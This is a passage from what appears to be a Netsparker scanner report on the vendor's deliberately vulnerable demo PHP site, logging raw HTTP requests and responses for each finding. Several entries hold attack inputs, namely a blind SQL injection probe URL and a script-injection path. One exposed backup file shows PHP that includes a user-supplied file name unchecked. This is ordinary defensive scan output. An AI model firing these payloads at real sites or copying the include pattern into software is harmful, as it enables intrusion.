5343 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5344 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5345 X-Scanner: Netsparker
5346 Accept-Language: en-us,en;q=0.5
5347 Host: php.testsparker.com
5348 Accept-Encoding: gzip, deflate
5349
5350 ]]></rawrequest>
5351 <rawresponse><![CDATA[HTTP/1.1 200 OK
5352 Connection: Keep-Alive
5353 Date: Fri, 29 Nov 2013 11:25:33 GMT
5354 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5355 X-Powered-By: PHP/5.2.6
5356 Keep-Alive: timeout=5, max=100
5357 Content-Length: 144
5358 Content-Type: text/html
5359
5360 <html>
5361 <HEAD>
5362 <SCRIPT language="JavaScript">
5363 <!--
5364 window.location="process.php?file=Generics/index.nsp";
5365 //-->
5366 </SCRIPT>
5367 </HEAD>
5368 </html>]]></rawresponse>
5369 <extrainformation>
5370 <info name="Extracted Version"><![CDATA[5.2.6]]></info>
5371 </extrainformation>
5372
5373 <classification>
5374 <OWASP>A6</OWASP>
5375 <WASC>45</WASC>
5376 <CWE>205</CWE>
5377 <CAPEC>170</CAPEC>
5378 <PCI></PCI>
5379 <PCI2></PCI2>
5380 </classification>
5381
5382 </vulnerability>
5383 <vulnerability confirmed="False">
5384 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
5385 <type>ProgrammingErrorMessages</type>
5386 <severity>Low</severity>
5387 <certainty>90</certainty>
5388
5389 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
5390 Cache-Control: no-cache
5391 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5392 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5393 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5394 X-Scanner: Netsparker
5395 Accept-Language: en-us,en;q=0.5
5396 Host: php.testsparker.com
5397 Accept-Encoding: gzip, deflate
5398
5399 ]]></rawrequest>
5400 <rawresponse><![CDATA[HTTP/1.1 200 OK
5401 Date: Fri, 29 Nov 2013 11:25:51 GMT
5402 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5403 X-Powered-By: PHP/5.2.6
5404 Content-Length: 3327
5405 Content-Type: text/html
5406
5407
5408 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5409 <html xmlns="http://www.w3.org/1999/xhtml">
5410 <head>
5411 <meta name="keywords" content="" />
5412 <meta name="description" content="" />
5413 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5414 <title>Netsparker Test Web Site - PHP</title>
5415 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5416 </head><body>
5417 <div id="wrapper">
5418
5419 <div id="menu">
5420 <ul>
5421 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5422 <li><a href="hello.php?name=Visitor">Hello</a></li>
5423 <li><a href="products.php?pro=url">Products</a></li>
5424 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5425 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5426 <li><a href="auth/">Login</a></li>
5427 </ul>
5428 </div>
5429 <!-- end #menu -->
5430 <div id="header">
5431
5432 </div>
5433 <!-- end #header -->
5434 <div id="page">
5435 <div id="page-bgtop">
5436 <div id="page-bgbtm">
5437 <div id="content">
5438 <div class="post">
5439
5440 <div class="entry">
5441 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
5442 <p>This is a test and demonstration site for Netsparker , Next Generation Web
5443 Application Security Scanner.
5444 <p>
5445 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
5446 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
5447 </p>
5448
5449 </div>
5450 </div>
5451 <div style="clear: both;">&nbsp;</div>
5452 </div>
5453 <!-- end #content -->
5454
5455 <div id="sidebar">
5456 <ul>
5457 <li>
5458 <div id="search" >
5459 <form method="get" action="artist.php">
5460 <div>
5461 <input type="text" name="s" id="search-text" value="" />
5462 <input type="submit" id="search-submit" value="GO" />
5463 </div>
5464 </form>
5465
5466 </div>
5467 <div style="clear: both;">&nbsp;</div>
5468 </li>
5469 <li>
5470 <h2>Tags</h2>
5471 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5472 </li>
5473 <li>
5474 <h2>Inner Pages</h2>
5475 <ul>
5476 <li><a href="artist.php?id=test">Artist Search</a></li>
5477 <li><a href="nslookup.php">Lookup Service</a></li>
5478 </ul>
5479 </li>
5480 <li>
5481 <h2>Links</h2>
5482 <ul>
5483 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5484 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5485 </ul>
5486 </li>
5487 </ul>
5488 </div> <!-- end #sidebar -->
5489 <div style="clear: both;">&nbsp;</div>
5490 </div>
5491 </div>
5492 </div>
5493
5494 <br />
5495 <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
5496 asd <!-- process.php load pages from path of the website. -->
5497 <!-- FIXME: File / directory permissions -->
5498 <!-- end #page -->
5499 </div>
5500
5501 <div id="footer">
5502 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5503 </div> <!-- end #footer -->
5504 </body>
5505 </html>
5506 ]]></rawresponse>
5507 <extrainformation>
5508 <info name="Identified Error Message"><![CDATA[<b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b>]]></info>
5509 </extrainformation>
5510
5511 <classification>
5512 <OWASP>A6</OWASP>
5513 <WASC>13</WASC>
5514 <CWE>210</CWE>
5515 <CAPEC>118</CAPEC>
5516 <PCI>6.5.6</PCI>
5517 <PCI2>6.5.5</PCI2>
5518 </classification>
5519
5520 </vulnerability>
5521 <vulnerability confirmed="True">
5522 <url>http://php.testsparker.com/.svn/</url>
5523 <type>OptionsMethodEnabled</type>
5524 <severity>Low</severity>
5525 <certainty>100</certainty>
5526
5527 <rawrequest><![CDATA[OPTIONS /.svn/ HTTP/1.1
5528 Cache-Control: no-cache
5529 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5530 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5531 X-Scanner: Netsparker
5532 Accept-Language: en-us,en;q=0.5
5533 Host: php.testsparker.com
5534 Accept-Encoding: gzip, deflate
5535
5536 ]]></rawrequest>
5537 <rawresponse><![CDATA[HTTP/1.1 200 OK
5538 Date: Fri, 29 Nov 2013 11:25:53 GMT
5539 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5540 Allow: GET,HEAD,POST,OPTIONS,TRACE
5541 Content-Length: 0
5542 Content-Type: httpd/unix-directory
5543
5544 ]]></rawresponse>
5545 <extrainformation>
5546 <info name="Allowed methods"><![CDATA[GET,HEAD,POST,OPTIONS,TRACE]]></info>
5547 </extrainformation>
5548
5549 <classification>
5550 <OWASP>A6</OWASP>
5551 <WASC>14</WASC>
5552 <CWE>16</CWE>
5553 <CAPEC>107</CAPEC>
5554 <PCI></PCI>
5555 <PCI2></PCI2>
5556 </classification>
5557
5558 </vulnerability>
5559 <vulnerability confirmed="False">
5560 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
5561 <type>CsrfDetected</type>
5562 <severity>Low</severity>
5563 <certainty>90</certainty>
5564
5565 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
5566 Cache-Control: no-cache
5567 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5568 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5569 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5570 X-Scanner: Netsparker
5571 Accept-Language: en-us,en;q=0.5
5572 Host: php.testsparker.com
5573 Accept-Encoding: gzip, deflate
5574
5575 ]]></rawrequest>
5576 <rawresponse><![CDATA[HTTP/1.1 200 OK
5577 Date: Fri, 29 Nov 2013 11:25:51 GMT
5578 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5579 X-Powered-By: PHP/5.2.6
5580 Content-Length: 3327
5581 Content-Type: text/html
5582
5583
5584 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5585 <html xmlns="http://www.w3.org/1999/xhtml">
5586 <head>
5587 <meta name="keywords" content="" />
5588 <meta name="description" content="" />
5589 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5590 <title>Netsparker Test Web Site - PHP</title>
5591 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5592 </head><body>
5593 <div id="wrapper">
5594
5595 <div id="menu">
5596 <ul>
5597 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5598 <li><a href="hello.php?name=Visitor">Hello</a></li>
5599 <li><a href="products.php?pro=url">Products</a></li>
5600 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5601 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5602 <li><a href="auth/">Login</a></li>
5603 </ul>
5604 </div>
5605 <!-- end #menu -->
5606 <div id="header">
5607
5608 </div>
5609 <!-- end #header -->
5610 <div id="page">
5611 <div id="page-bgtop">
5612 <div id="page-bgbtm">
5613 <div id="content">
5614 <div class="post">
5615
5616 <div class="entry">
5617 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
5618 <p>This is a test and demonstration site for Netsparker , Next Generation Web
5619 Application Security Scanner.
5620 <p>
5621 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
5622 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
5623 </p>
5624
5625 </div>
5626 </div>
5627 <div style="clear: both;">&nbsp;</div>
5628 </div>
5629 <!-- end #content -->
5630
5631 <div id="sidebar">
5632 <ul>
5633 <li>
5634 <div id="search" >
5635 <form method="get" action="artist.php">
5636 <div>
5637 <input type="text" name="s" id="search-text" value="" />
5638 <input type="submit" id="search-submit" value="GO" />
5639 </div>
5640 </form>
5641
5642 </div>
5643 <div style="clear: both;">&nbsp;</div>
5644 </li>
5645 <li>
5646 <h2>Tags</h2>
5647 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5648 </li>
5649 <li>
5650 <h2>Inner Pages</h2>
5651 <ul>
5652 <li><a href="artist.php?id=test">Artist Search</a></li>
5653 <li><a href="nslookup.php">Lookup Service</a></li>
5654 </ul>
5655 </li>
5656 <li>
5657 <h2>Links</h2>
5658 <ul>
5659 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5660 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5661 </ul>
5662 </li>
5663 </ul>
5664 </div> <!-- end #sidebar -->
5665 <div style="clear: both;">&nbsp;</div>
5666 </div>
5667 </div>
5668 </div>
5669
5670 <br />
5671 <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
5672 asd <!-- process.php load pages from path of the website. -->
5673 <!-- FIXME: File / directory permissions -->
5674 <!-- end #page -->
5675 </div>
5676
5677 <div id="footer">
5678 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5679 </div> <!-- end #footer -->
5680 </body>
5681 </html>
5682 ]]></rawresponse>
5683 <extrainformation>
5684 </extrainformation>
5685
5686 <classification>
5687 <OWASP>A5</OWASP>
5688 <WASC>09</WASC>
5689 <CWE>352</CWE>
5690 <CAPEC>62</CAPEC>
5691 <PCI>6.5.5</PCI>
5692 <PCI2>6.5.9</PCI2>
5693 </classification>
5694
5695 </vulnerability>
5696 <vulnerability confirmed="True">
5697 <url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
5698 <type>InsecureFrameExternal</type>
5699 <severity>Low</severity>
5700 <certainty>100</certainty>
5701
5702 <rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
5703 Cache-Control: no-cache
5704 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5705 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5706 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5707 X-Scanner: Netsparker
5708 Accept-Language: en-us,en;q=0.5
5709 Host: php.testsparker.com
5710 Accept-Encoding: gzip, deflate
5711
5712 ]]></rawrequest>
5713 <rawresponse><![CDATA[HTTP/1.1 200 OK
5714 Date: Fri, 29 Nov 2013 11:25:52 GMT
5715 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5716 X-Powered-By: PHP/5.2.6
5717 Content-Length: 3363
5718 Content-Type: text/html
5719
5720
5721 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5722 <html xmlns="http://www.w3.org/1999/xhtml">
5723 <head>
5724 <meta name="keywords" content="" />
5725 <meta name="description" content="" />
5726 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5727 <title>Netsparker Test Web Site - PHP</title>
5728 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5729 </head><body>
5730 <div id="wrapper">
5731
5732 <div id="menu">
5733 <ul>
5734 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5735 <li><a href="hello.php?name=Visitor">Hello</a></li>
5736 <li><a href="products.php?pro=url">Products</a></li>
5737 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5738 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5739 <li><a href="auth/">Login</a></li>
5740 </ul>
5741 </div>
5742 <!-- end #menu -->
5743 <div id="header">
5744
5745 </div>
5746 <!-- end #header -->
5747 <div id="page">
5748 <div id="page-bgtop">
5749 <div id="page-bgbtm">
5750 <div id="content">
5751 <div class="post">
5752
5753
5754
5755 <div class="entry">
5756 <h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
5757 <p>
5758
5759 <iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
5760 style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
5761 </iframe>
5762
5763
5764
5765
5766 <strong><br />Test&Demonstration Site Ltd
5767 <br />(reg. no. 123456)</strong><br />
5768 <p>
5769 Green House,
5770 3478 Stone QX
5771 Dos Tringulas
5772 EK7 AP0<br />
5773 USA<br />
5774 </p>
5775
5776 <p>
5777 <span>Tel: +44 123 456 7890</span><br />
5778 <span>Fax: +44 123 456 7891</span></p>
5779 <p>
5780
5781 <p>
5782 E-mail: [email protected]</b></a></p>
5783 </p>
5784
5785 </div>
5786 </div>
5787 <div style="clear: both;">&nbsp;</div>
5788 </div>
5789 <!-- end #content -->
5790
5791 <div id="sidebar">
5792 <ul>
5793 <li>
5794 <div id="search" >
5795 <form method="get" action="artist.php">
5796 <div>
5797 <input type="text" name="s" id="search-text" value="" />
5798 <input type="submit" id="search-submit" value="GO" />
5799 </div>
5800 </form>
5801
5802 </div>
5803 <div style="clear: both;">&nbsp;</div>
5804 </li>
5805 <li>
5806 <h2>Tags</h2>
5807 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5808 </li>
5809 <li>
5810 <h2>Inner Pages</h2>
5811 <ul>
5812 <li><a href="artist.php?id=test">Artist Search</a></li>
5813 <li><a href="nslookup.php">Lookup Service</a></li>
5814 </ul>
5815 </li>
5816 <li>
5817 <h2>Links</h2>
5818 <ul>
5819 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5820 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5821 </ul>
5822 </li>
5823 </ul>
5824 </div> <!-- end #sidebar -->
5825 <div style="clear: both;">&nbsp;</div>
5826 </div>
5827 </div>
5828 </div> <!-- process.php load pages from path of the website. -->
5829 <!-- FIXME: File / directory permissions -->
5830 <!-- end #page -->
5831 </div>
5832
5833 <div id="footer">
5834 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5835 </div> <!-- end #footer -->
5836 </body>
5837 </html>
5838 ]]></rawresponse>
5839 <extrainformation>
5840 <info name="Frame Source(s)"><![CDATA[http://maps.google.com/maps?q=mavituna+security&output=embed]]></info>
5841 </extrainformation>
5842
5843
5844 </vulnerability>
5845 <vulnerability confirmed="False">
5846 <url>http://php.testsparker.com/nslookup.php</url>
5847 <type>InternalIPLeakage</type>
5848 <severity>Low</severity>
5849 <certainty>50</certainty>
5850
5851 <rawrequest><![CDATA[GET /nslookup.php HTTP/1.1
5852 Cache-Control: no-cache
5853 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5854 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5855 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5856 X-Scanner: Netsparker
5857 Accept-Language: en-us,en;q=0.5
5858 Host: php.testsparker.com
5859 Accept-Encoding: gzip, deflate
5860
5861 ]]></rawrequest>
5862 <rawresponse><![CDATA[HTTP/1.1 200 OK
5863 Date: Fri, 29 Nov 2013 11:26:04 GMT
5864 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5865 X-Powered-By: PHP/5.2.6
5866 Content-Length: 3845
5867 Content-Type: text/html
5868
5869
5870 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5871 <html xmlns="http://www.w3.org/1999/xhtml">
5872 <head>
5873 <meta name="keywords" content="" />
5874 <meta name="description" content="" />
5875 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5876 <title>Netsparker Test Web Site - PHP</title>
5877 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5878 </head><script type=text/javascript src = "" ></script>
5879 <body>
5880 <div id="wrapper">
5881
5882 <div id="menu">
5883 <ul>
5884 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5885 <li><a href="hello.php?name=Visitor">Hello</a></li>
5886 <li><a href="products.php?pro=url">Products</a></li>
5887 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5888 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5889 <li><a href="auth/">Login</a></li>
5890 </ul>
5891 </div>
5892 <!-- end #menu -->
5893 <div id="header">
5894
5895 </div>
5896 <!-- end #header --> <div id="page">
5897 <div id="page-bgtop">
5898 <div id="page-bgbtm">
5899 <div id="content">
5900 <div class="post">
5901 <h2 class="title"><a href="#">Products </a></h2>
5902
5903 <div style="clear: both;">&nbsp;</div>
5904 <div class="entry">
5905 <p>
5906 <form action="/nslookup.php" method="POST">
5907 <table class="databases">
5908 <tr>
5909 <td colspan="3">
5910 </td>
5911 </tr>
5912 <tr>
5913 <td class="label" style="width: 89px">
5914 <label>IP Adress:</label></td>
5915 <td class="style3">
5916 <input type="text" size="40" name="param" id="param" class="input"/>
5917 </td>
5918 <td class="style1">
5919 <input type="submit" value="GO" class="button" id="submit"
5920 onclick="return submit_onclick()" dir="ltr" />
5921 </td>
5922 </tr>
5923 <tr>
5924 <td class="label" style="width: 89px">
5925 &nbsp;</td>
5926 <td class="style1" colspan="2">
5927 &nbsp;</td>
5928 </tr>
5929 <tr>
5930 <td class="label" style="width: 89px"></td>
5931 <td class="style1" colspan="2">
5932 </td>
5933 </tr>
5934 </table>
5935 </form>
5936 <pre>Server: ip-172-16-0-23.ec2.internal
5937 Address: 172.16.0.23
5938
5939 </pre> </p>
5940 </div>
5941 </div>
5942 <div style="clear: both;">&nbsp;</div>
5943 </div>
5944 <!-- end #content -->
5945
5946 <div id="sidebar">
5947 <ul>
5948 <li>
5949 <div id="search" >
5950 <form method="get" action="artist.php">
5951 <div>
5952 <input type="text" name="s" id="search-text" value="" />
5953 <input type="submit" id="search-submit" value="GO" />
5954 </div>
5955 </form>
5956
5957 </div>
5958 <div style="clear: both;">&nbsp;</div>
5959 </li>
5960 <li>
5961 <h2>Tags</h2>
5962 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5963 </li>
5964 <li>
5965 <h2>Inner Pages</h2>
5966 <ul>
5967 <li><a href="artist.php?id=test">Artist Search</a></li>
5968 <li><a href="nslookup.php">Lookup Service</a></li>
5969 </ul>
5970 </li>
5971 <li>
5972 <h2>Links</h2>
5973 <ul>
5974 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5975 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5976 </ul>
5977 </li>
5978 </ul>
5979 </div> <!-- end #sidebar -->
5980 <div style="clear: both;">&nbsp;</div>
5981 </div>
5982 </div>
5983 </div>
5984 <!-- end #page -->
5985 </div>
5986
5987 <div id="footer">
5988 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5989 </div> <!-- end #footer -->
5990 </body>
5991 </html>
5992 ]]></rawresponse>
5993 <extrainformation>
5994 <info name="Extracted IP Address(es)"><![CDATA[172.16.0.23]]></info>
5995 </extrainformation>
5996
5997 <classification>
5998 <OWASP></OWASP>
5999 <WASC></WASC>
6000 <CWE>200</CWE>
6001 <CAPEC></CAPEC>
6002 <PCI>6.5.6</PCI>
6003 <PCI2></PCI2>
6004 </classification>
6005
6006 </vulnerability>
6007 <vulnerability confirmed="False">
6008 <url>http://php.testsparker.com/process.bak</url>
6009 <type>BackupFileFound</type>
6010 <severity>Low</severity>
6011 <certainty>75</certainty>
6012
6013 <rawrequest><![CDATA[GET /process.bak HTTP/1.1
6014 Cache-Control: no-cache
6015 Referer: http://php.testsparker.com/process.bak
6016 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6017 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6018 X-Scanner: Netsparker
6019 Accept-Language: en-us,en;q=0.5
6020 Host: php.testsparker.com
6021 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
6022 Accept-Encoding: gzip, deflate
6023
6024 ]]></rawrequest>
6025 <rawresponse><![CDATA[HTTP/1.1 200 OK
6026 Date: Fri, 29 Nov 2013 11:26:28 GMT
6027 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6028 ETag: "30000000199eb-363-481496ef4391c"
6029 Accept-Ranges: bytes
6030 Content-Length: 867
6031 Content-Type: text/plain
6032 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
6033
6034 <?php
6035 require("auth.php");
6036 ini_set("display_errors","0");
6037
6038 //global configuration area
6039 $globals["title"] = "Netsparker Test Web Site - PHP";
6040 function EndsWith($FullStr, $EndStr)
6041 {
6042 // Get the length of the end string
6043 $StrLen = strlen($EndStr);
6044 // Look at the end of FullStr for the substring the size of EndStr
6045 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
6046 // If it matches, it does end with EndStr
6047 return $FullStrEnd == $EndStr;
6048 }
6049 ?>
6050
6051 <?php include "Internals/header.php"?>
6052 <body>
6053 <div id="wrapper">
6054 <?php include "Internals/upmenu.php"?>
6055 <?php
6056 $file = $_REQUEST["file"];
6057 if(EndsWith($file,".nsp"))
6058 include $_REQUEST["file"];
6059 ?>
6060 <!-- end #page -->
6061 </div>
6062
6063 <?php include "Internals/footer.php"?>
6064 <!-- end #footer -->
6065 </body>
6066 </html>
6067 ]]></rawresponse>
6068 <extrainformation>
6069 </extrainformation>
6070
6071 <classification>
6072 <OWASP>A8</OWASP>
6073 <WASC>34</WASC>
6074 <CWE>530</CWE>
6075 <CAPEC>87</CAPEC>
6076 <PCI>6.5.10</PCI>
6077 <PCI2>6.5.8</PCI2>
6078 </classification>
6079
6080 </vulnerability>
6081 <vulnerability confirmed="True">
6082 <url>http://php.testsparker.com/&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E</url>
6083 <type>ForbiddenResource</type>
6084 <severity>Information</severity>
6085 <certainty>100</certainty>
6086
6087 <rawrequest><![CDATA[GET /'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E HTTP/1.1
6088 Cache-Control: no-cache
6089 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6090 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6091 X-Scanner: Netsparker
6092 Accept-Language: en-us,en;q=0.5
6093 Host: php.testsparker.com
6094 Accept-Encoding: gzip, deflate
6095
6096 ]]></rawrequest>
6097 <rawresponse><![CDATA[HTTP/1.1 403 Forbidden
6098 Date: Fri, 29 Nov 2013 11:25:51 GMT
6099 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6100 Content-Length: 386
6101 Content-Type: text/html; charset=iso-8859-1
6102
6103 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
6104 <html><head>
6105 <title>403 Forbidden</title>
6106 </head><body>
6107 <h1>Forbidden</h1>
6108 <p>You don't have permission to access /'&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x00000A)&lt;/scRipt&gt;
6109 on this server.</p>
6110 <hr>
6111 <address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
6112 </body></html>
6113 ]]></rawresponse>
6114 <extrainformation>
6115 </extrainformation>
6116
6117
6118 </vulnerability>
6119 <vulnerability confirmed="True">
6120 <url>http://php.testsparker.com/artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+</url>
6121 <type>MySqlIdentified</type>
6122 <severity>Information</severity>
6123 <certainty>100</certainty>
6124
6125 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+ HTTP/1.1
6126 Cache-Control: no-cache
6127 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6128 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6129 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6130 X-Scanner: Netsparker
6131 Accept-Language: en-us,en;q=0.5
6132 Host: php.testsparker.com
6133 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
6134 Accept-Encoding: gzip, deflate
6135
6136 ]]></rawrequest>
6137 <rawresponse><![CDATA[HTTP/1.1 200 OK
6138 Connection: close
6139 Date: Fri, 29 Nov 2013 11:28:15 GMT
6140 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6141 X-Powered-By: PHP/5.2.6
6142 Content-Length: 2794
6143 Content-Type: text/html
6144
6145
6146 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6147 <html xmlns="http://www.w3.org/1999/xhtml">
6148 <head>
6149 <meta name="keywords" content="" />
6150 <meta name="description" content="" />
6151 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6152 <title>Netsparker Test Web Site - PHP</title>
6153 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6154 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
6155 <body>
6156 <div id="wrapper">
6157
6158 <div id="menu">
6159 <ul>
6160 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6161 <li><a href="hello.php?name=Visitor">Hello</a></li>
6162 <li><a href="products.php?pro=url">Products</a></li>
6163 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6164 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6165 <li><a href="auth/">Login</a></li>
6166 </ul>
6167 </div>
6168 <!-- end #menu -->
6169 <div id="header">
6170
6171 </div>
6172 <!-- end #header --> <div id="page">
